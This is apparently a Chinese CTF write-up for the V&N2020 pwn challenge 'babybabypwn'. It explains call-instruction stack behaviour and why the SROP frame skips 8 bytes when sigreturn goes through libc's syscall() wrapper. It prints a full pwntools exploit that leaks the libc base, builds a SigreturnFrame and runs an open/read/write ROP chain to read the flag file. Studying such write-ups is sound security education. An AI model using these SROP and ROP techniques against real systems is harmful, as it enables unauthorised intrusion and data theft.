[V&N2020 公开赛]babybabypwn
写在开头,感谢“影二つ”师傅的指点。
题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节。
在看题目之前,先来学习一下call这个汇编指令。
我个人理解call就是进入一个函数,但是执行完函数之后程序如何能够再返回执行call的下一条指令呢?答案是先把call下面的一条指令地址压入栈。我们来调试一下看看。
1 int main()
2 {
3 write(1,"Hello,dear.\n",0xc);
4 return 0;
5 }
这里用gcc a.c -o a编译成可执行文件。
用pwndbg进行调试。

在没有call write之前,rbp和rsp都是指向0x7fffffffdab0的,call write下面的一条指令是mov eax,0,这条指令的地址是0x40053a,当单步步入进入call之后。

可以看到rsp被抬高了,原因是将0x40053a压入栈了。

当程序执行完call之后,栈又恢复到了执行call之前的样子。所以大概思路就理清楚了,在执行call之前,程序会将call的下一条指令压入栈,当执行到ret的时候,就又恢复到了原来的栈布局。
接下来看一下这道题,这道题的sys_rt_sigreturn,走的并不是底层的系统调用。

ida识别出来是call的syscall函数。

这里的syscall,并不是系统调用的syscall,而是syscall函数。因为srop进行栈恢复的时候是根据rsp进行恢复的,这里进入syscall函数之后,rsp被提高了8个字节,所以在写payload的时候需要省去8个字节。
还是动态调试跟进去看一下。

这里可以看到,进入syscall函数之后,rsp也是被抬高了8个字节,而箭头所指的syscall,才是真正的系统调用,到这里,要省去前面的8个字节的问题就算是讲清楚了。
剩下的就是一些常规的利用了,不过我还是第一次在libc的bss段写rop链。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 p.recvuntil(': ')
9 libc_base = int(p.recvuntil('\n')[:-1],16)-libc.symbols['puts']
10 print 'libc_base-->'+hex(libc_base)
11 write = libc_base+libc.symbols['write']
12 read = libc_base+libc.symbols['read']
13 open1 = libc_base+libc.symbols['open']
14 pop_rdi = libc_base+0x21112
15 pop_rsi = libc_base+0x202f8
16 pop_rdx = libc_base+0x1b92
17 bss = libc_base+libc.bss()+0x400
18
19 sigframe = SigreturnFrame()
20 sigframe.rdi = 0
21 sigframe.rsi = bss
22 sigframe.rdx = 0x200
23 sigframe.rsp = bss
24 sigframe.rip = read
25 payload = str(sigframe)
26
27 p.sendafter('message: ',payload[8:])
28
29 payload = p64(pop_rdi)+p64(bss+0x98)+p64(pop_rsi)+p64(0)+p64(open1)
30 payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x100)+p64(read)
31 payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x200)+p64(pop_rdx)+p64(0x100)+p64(write)+'flag\x00'
32 p.send(payload)
33 print p.recv()
[V&N2020 公开赛]babybabypwn的更多相关文章
- [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn
[V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...
- [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap
[V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...
- [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap
[V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe
[V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...
- [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp
[V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...
- [BUUCTF]PWN——[V&N2020 公开赛]warmup
[V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...
- 【pwn】V&N2020 公开赛 simpleHeap
[pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...
- 刷题记录:[V&N2020 公开赛]TimeTravel
题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...
- [V&N2020 公开赛] Web misc部分题解
0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...
随机推荐
- Json数据使用及学习方法
以前对json的了解并不是很清楚,因为使用很少,所以也没有特意的研究.只知道json是轻量级的数据交换格式,可以被多种语言方便的处理,也是大型门户站接口使用的主要数据格式. 而最近做了个项目,涉及到j ...
- [bzoj5415]归程
首先肯定要预处理出每一个点到1的最短路(别写spfa) 然后以海拔为边权,建一棵kruskal重构树 用倍增找到vi最后一个小于pi的祖先,然后在子树中取min(预处理) 1 #include< ...
- Redis 持久化方案
目录 持久化简介 什么是持久化? Redis 持久化方案 RDB RDB 简介 save 指令 操作与配置 工作原理 bgsave 指令 操作与配置 工作原理 bgsave 配置执行 相关配置 工作原 ...
- Sums gym100753M
Sums gym100753M 同余最短路模板,然而这个东西貌似也可以做去年D1T2 首先我们选择一个模数作为基准,然后剩下的这样连边: 对于一个面值为 x 的硬币 ,当前在 u 这个点(感性理解一下 ...
- [linux] mv: cannot move $ to $: Directory not empty
最近测试某流程时,跑的过程报错了,于是检查脚本修改后重新测试.脚本是改过来了,但在shell中运行某步时碰到了如题报错! $ mv MP_genus_network_files/ tax_networ ...
- annovar 注释除人类以外的SNP
1. 准备文件: ref.fa ref.gtf或者gff3,最好是gtf3,可将gff3转化为gtf sample.vcf 2. 用gff3ToGenePred与gtfToGenePred工具将gtf ...
- 大厂高频面试题Spring Bean生命周期最详解
Spring作为当前Java最流行.最强大的轻量级框架.Spring Bean的生命周期也是面试高频题,了解Spring Bean周期也能更好地帮助我们解决日常开发中的问题.程序员应该都知道Sprin ...
- Elasticsearch【基础入门】
目录 一.操作index 1.查看index 2.增加index 3.删除index 二.操作index 1.新增document 2.查询type 全部数据 3.查找指定 id 的 document ...
- org.apache.hadoop.hive.ql.metadata.HiveException: Internal Error: cannot generate all output rows for a Partition解决
自己在路径访问明细表开发时,写的sql如下 SELECT guid, sessionid, event['url'] as page, `timestamp` as ts, row_number() ...
- CRLF漏洞浅析
部分情况下,由于与客户端存在交互,会形成下面的情况 也就是重定向且Location字段可控 如果这个时候,可以向Location字段传点qqgg的东西 形成固定会话 但服务端应该不会存储,因为后端貌似 ...